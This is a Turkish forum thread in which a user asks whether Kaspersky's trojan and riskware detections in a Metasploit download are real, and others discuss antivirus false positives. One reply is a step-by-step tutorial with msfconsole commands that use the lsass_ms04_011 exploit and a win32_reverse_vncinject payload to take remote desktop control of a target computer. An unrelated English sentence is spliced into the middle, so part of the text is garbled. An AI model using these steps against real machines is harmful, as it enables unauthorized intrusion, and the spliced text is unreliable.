Bilenen en ünlü exploid programlarından birini indirmişsin içinde sayısız remotekit ve rootkit var ve kasper tünce neden diye soruyorsun harika... anti virüs programları programın amacına bakmaz çalışma mantıgına bakar yani kendi yazdıgın bir programı bile anasayfanı degiştiriyorsa kendini sürekli replike ediyorsa felan yine ter yani sorun yok Mühendis kahveyi projeye dnüştüren bir insan evladıdır.

Metasploit ne işe yaradığını biliyorsun dimi? Trojan bulmasınında okadar doğal olması gerek

Metasploit nedir?Metasploit, popüler ve yararlı exploitlerin daha ileri seviyede zellikler eklenip, bizlerin hizmetine sunulmuş bir framework çalışmasıdır. İçerisinde şuan 90 dan fazla exploit, 75 kadar payload vardır. En güzel zelliğiyse güncellenmesidir. Programı otomatik olarak 'update' edebilirsiniz. Kurulumdan sonra Başlat>Programlar>Metasploit Framework>MSFupdate i açıp güncelleyelim. Güncelleme bitince bunu bir mesajla haber verir ve $isim gibi birşey çıkar. 'exit komutuyla MSFupdate konsolundan çıkalım. Artık başlayabiliriz...1-) Başlat>Programlar>Metasploit Framework>MSFConsole u açalım. Konsoldasınız ve şu şekilde bir komut satırı çıkar; msf>2-) Exploit listesine bakalım-> Bunun için 'show exploits' komutunu yazıp entar a basın. Listeden bize gereken exploiti belirleyelim-> rnek olarak çok tehlikeli bir exploit olan 'lsass_ms04_011' i seçtim, bu exploit ile hedef bilgisayara trojan olmaksızın girmeye çalışacağım. Bir exploiti seçmek için şu komutu kullanırız-> 'use lsass_ms04_011' Artık komut satırı değişti ve şu oldu : 'msf lsass_ms04_011>'3-) Payload seçelim-> Her exploitin mutlaka bir payload ı vardır. Payloadları grmek için kullanmamız gereken kod 'show payloads'Biz listenin en altındaki payloadı seçiyoruz. Eğer listedeki payloadların grevlerini grmek isterseniz 'info payloadadı' komutunu kullanın. Payload ıseçmek için 'set PAYLOAD payloadadı' komutunu kullanmamız gerekiyor. Biz en alttakini seçiyoruz 'set PAYLOAD'win32_reverse_vncinject'nemli not: Payloadı seçerken Payload büyük harfle yazılmalıdır.4-)Artık yapmamız gereken sadece bir iki ayar kaldı. Gerekli ayarları grmek için ise 'show options' komutunu kullanıyoruz. Karşmıza liste çıktı. Bu listedeki Required yazanlar mutlaka tanımlanmalıdır... optinal yazanlar ise size kalmış. Bizim rneğimizde required yazan 2 ayar var, hemen tanımlayalım. Sırasıyla şu komutları girelim;'set RHOST hedefip''set LHOST kendinizinipadresi'Dikkat: Required yazanların bazıları nceden tanımlıdır değiştirmeye gerek yok.5-)Son adım. Eğer herşey yolunda gittiyse exploiti çalıştıralım. Bunun için ise 'exploit' komutunu yazıyoruz. Kullandığım exploitin zelliğinden dolayı eğer başarılı olduysak uzak masaüstü bağlantısı ile karşı bilgisayara girebilirim. Bilmeyenler için: bir pencere açılır ve onun masaüstüne bağlanmış olurum, sürücülerini gezebilirim vs vs. BAZI NEMLİ KOMUTLAR'use exploitadı' exploiti seçer'info exploitadı' exploit hakkında bilgi verir, aynı şekilde payloadadını yazarsanır payload bilgisi verir.'set PAYLOAD payloadadı' payloadı seçer.'set AYARADI parametre' ayaradını yazdığınız ğeye parametre tanımlar.'show options' yapmanız gereken zel ayarlar.'show exploits' exploit listesi'show payloads' payload listesi'set RHOST hedef' hedefi ayarlamanızı sağlar.'set LHOST ip' sizin ip adresiniz ([Linkleri grebilmeniz için 1 kaç saniyenizi ayırıp üye olmanız gerekiyor. ipbul.com dan ğrenebilirsiniz)'set RPORT 129' hedef portunu 129 yapar-siz gerekliyse değiştireceksiniz tabii'set LPORT 5400' sizin portunuz 'show targets' eğer varsa hedef sistem versiyonlarını seçersiniz'set TARGET targetno' targetno numaralı hedef sistem'exploit' exploiti çalıştırır ayarlar tamamsa çalışır, yoksa "missing required option" hatası verir There was an irem come unto the earth, born in the holy land of Pennsylvania, raised in the mystical east of Allentown. She believed she had the power to help herself and all mankind, so that others saw her power and came to her to be healed of their troubles and their many diseases.

hacı metasploit biliyoruz exploitlerin bir framework altında toplanmış halidir daha bir sürü zelliği var dır fakat ne bilim hani neden byle bişi algıladı ve anlamadığım bu program üstelik anasayfasından indirlmiştir aranızda peki bu programı kullanan oldumu? antivirüsler uyarı fln verdimi?

arkadaşlar metasploitin ana sitesinde metasploiti download etttim ve pc de haliyele indirince tarattım ve yaklaşık 4 tane trojan benzeri şeyler buldu tespit edildi: Trojan programı Trojan-Downloader. JS. Agent. gj Dosya: E:\yedek\PROGRAMLAR\framework-3.1. exe//stream//data0007//msf3/lib/rex/exploitation/. svn/text-base/heaplib. js. b64. svn-base//MIME. Broken tespit edildi: Trojan programı Trojan-Downloader. JS. Agent. gj Dosya: E:\yedek\PROGRAMLAR\framework-3.1. exe//stream//data0007//msf3/lib/rex/exploitation/heaplib. js. b64//MIME. Broken tespit edildi: riskware not-a-virus:RemoteAdmin. Win32. NetCat Dosya: E:\yedek\PROGRAMLAR\framework-3.1. exe//stream//data3097 tespit edildi: riskware not-a-virus:RemoteAdmin. Win32. WinVNC.4 Dosya: E:\yedek\PROGRAMLAR\framework-3.1. exe//stream//data3106 grdüğümüz gibi karsperskyın raporuda bu arkadaşlar gerçekten trojan mı var içinde yoksa karsperskymı çok hassas hani ne bilim herhangi bi protu fln kullanıyo metasploit o yüzdne olabilirm :S çokda güzzel bi program exploit için ve üstelik anasayfasında indirdim sizce gerçekten trojanmı içeriyor yoksa pc de port fln kullandığı içinmi karspersky bu uyarıyı veriyordaha kurmadım sizi bekliyorum... şimdiden tşk

sağolasın arkadaşım ya bu biras daha konuyu aydınlattı :D tşkk :D bide ben bunu kursam bu nalet olası antivirüs yine tmeye başlıcak :D hey allam :D nerden bulaştım bu işe :D

tespit edildi: Trojan programı Trojan-Downloader. JS. Agent. gj Dosya: E:\yedek\PROGRAMLAR\framework-3.1. exe//stream//data0007//msf3/lib/rex/exploitation/. svn/text-base/heaplib. js. b64. svn-base//MIME. Broken tespit edildi: Trojan programı Trojan-Downloader. JS. Agent. gj Dosya: E:\yedek\PROGRAMLAR\framework-3.1. exe//stream//data0007//msf3/lib/rex/exploitation/heaplib. js. b64//MIME. Broken bu 2 dosyayı virustotale yollasana Sevmem yazmayı, okumayı sevdiğim kadar.

Hoca kaspersky'ın virüs yemiş git bilgisayarını bi güzel yıka. :|Bilmediğin şeyleri de kurcalama bozulur sonra. :W Peyami Rullaz Penguen Rullaz

ya ama bu program çok popüler ve dünyada sanırım epey bi insan kullanıyor hani ne bilim bana biras tuhaf geldi nerdenbilinebilir aslında bu firmanın bu yntem ile pc leri ele geçirmek istemesi sonuçta bi framework uygulaması şaştım kaldımya bende ne güzel diyordum artık exploit sıkıntısı çekmiyeceğiz gelin bi ortak çzüme varalım olmadı rapor ederiz bu olayı